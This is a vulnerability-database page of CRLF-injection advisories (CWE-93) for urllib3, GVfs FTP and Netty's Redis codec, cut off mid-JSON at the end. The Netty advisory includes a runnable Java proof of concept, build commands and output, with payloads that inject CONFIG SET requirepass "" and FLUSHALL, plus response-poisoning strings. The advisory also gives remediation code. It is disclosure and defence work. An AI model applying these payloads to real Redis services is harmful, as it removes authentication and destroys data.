Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

385 vulnerabilities reference this CWE, most recent first.

GHSA-R64Q-W8JR-G9QP

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2024-11-18 22:52
VLAI
Summary
Improper Neutralization of CRLF Sequences in urllib3 library for Python
Details

In the urllib3 library through 1.24.2 for Python, CRLF injection is possible if the attacker controls the request parameter.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-11236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-28T15:02:18Z",
    "nvd_published_at": "2019-04-15T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In the urllib3 library through 1.24.2 for Python, CRLF injection is possible if the attacker controls the request parameter.",
  "id": "GHSA-r64q-w8jr-g9qp",
  "modified": "2024-11-18T22:52:14Z",
  "published": "2022-05-13T01:09:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/issues/1553"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3990-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3990-1"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TBI45HO533KYHNB5YRO43TBYKA3E3VRL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R62XGEYPUTXMRHGX5I37EBCGQ5COHGKR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/06/msg00016.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2019-132.yaml"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r64q-w8jr-g9qp"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3590"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3335"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2272"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Neutralization of CRLF Sequences in urllib3 library for Python"
}

GHSA-R8J5-PJ3M-QHPV

Vulnerability from github – Published: 2026-02-26 18:31 – Updated: 2026-02-26 18:31
VLAI
Details

A flaw was found in the FTP GVfs backend. A remote attacker could exploit this input validation vulnerability by supplying specially crafted file paths containing carriage return and line feed (CRLF) sequences. These unsanitized sequences allow the attacker to terminate intended FTP commands and inject arbitrary FTP commands, potentially leading to arbitrary code execution or other severe impacts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T16:24:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the FTP GVfs backend. A remote attacker could exploit this input validation vulnerability by supplying specially crafted file paths containing carriage return and line feed (CRLF) sequences. These unsanitized sequences allow the attacker to terminate intended FTP commands and inject arbitrary FTP commands, potentially leading to arbitrary code execution or other severe impacts.",
  "id": "GHSA-r8j5-pj3m-qhpv",
  "modified": "2026-02-26T18:31:41Z",
  "published": "2026-02-26T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28296"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-28296"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RGRR-P7GP-5XJ7

Vulnerability from github – Published: 2026-05-07 00:24 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty Redis Codec Encoder has a CRLF Injection Issue
Details

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-redis)
Component io.netty.handler.codec.redis.RedisEncoder
Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
Impact Redis Command Injection / Response Poisoning
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction None
Scope Unchanged
Confidentiality Impact High
Integrity Impact High
Availability Impact None

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVE Component Fix
GHSA-jq43-27x9-3v86 SmtpRequestEncoder - SMTP command injection Added SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4 HttpRequestEncoder - CRLF in URI Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include: - Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity - Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis: 1. GET foo 2. CONFIG SET requirepass "" (removes authentication!) 3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees: 1. Simple String: +OK (expected response) 2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees: 1. Error: -ERR unknown 2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact Category Description
Confidentiality HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
Integrity HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
Availability Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication Bypass CONFIG SET requirepass "" removes authentication
Data Exfiltration Lua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor - This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-redis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-redis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:24:08Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n                                     RedisConstants.EOL_LENGTH);\n    type.writeTo(buf);\n    ByteBufUtil.writeUtf8(buf, content);       // \u003c-- NO CRLF VALIDATION\n    buf.writeShort(RedisConstants.EOL_SHORT);   // \u003c-- Appends \\r\\n\n    out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\");  // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n        testInlineCommandInjection();\n        testSimpleStringInjection();\n        testErrorMessageInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: Inline Command Injection\n     * An attacker-controlled string injected into InlineCommandRedisMessage\n     * results in multiple Redis commands being sent.\n     */\n    static void testInlineCommandInjection() {\n        System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n        System.out.println(\"----------------------------------------\");\n\n        // Malicious content: inject FLUSHALL after a benign PING\n        String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        // This should be rejected but is accepted\n        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   InlineCommandRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // Count how many CRLF-delimited commands are in the output\n        String[] commands = encoded.split(\"\\r\\n\");\n        System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n        for (int i = 0; i \u003c commands.length; i++) {\n            if (!commands[i].isEmpty()) {\n                System.out.println(\"  Command \" + (i + 1) + \": \" + commands[i]);\n            }\n        }\n\n        boolean vulnerable = commands.length \u003e 1;\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 2: SimpleString Response Injection\n     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n     * can inject fake responses to the downstream client.\n     */\n    static void testSimpleStringInjection() {\n        System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n        System.out.println(\"----------------------------------------------\");\n\n        // Malicious content: inject a fake bulk string response after OK\n        String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   SimpleStringRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // The RESP protocol uses the first byte to determine type:\n        // \u0027+\u0027 = Simple String, \u0027$\u0027 = Bulk String\n        // A client parsing this would see:\n        // 1. \"+OK\\r\\n\"       -\u003e Simple String \"OK\"\n        // 2. \"$6\\r\\nhacked\"  -\u003e Bulk String \"hacked\" (injected!)\n        boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 3: Error Message Injection\n     * Similar to SimpleString but with error messages.\n     */\n    static void testErrorMessageInjection() {\n        System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n        System.out.println(\"--------------------------------------\");\n\n        String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   ErrorRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        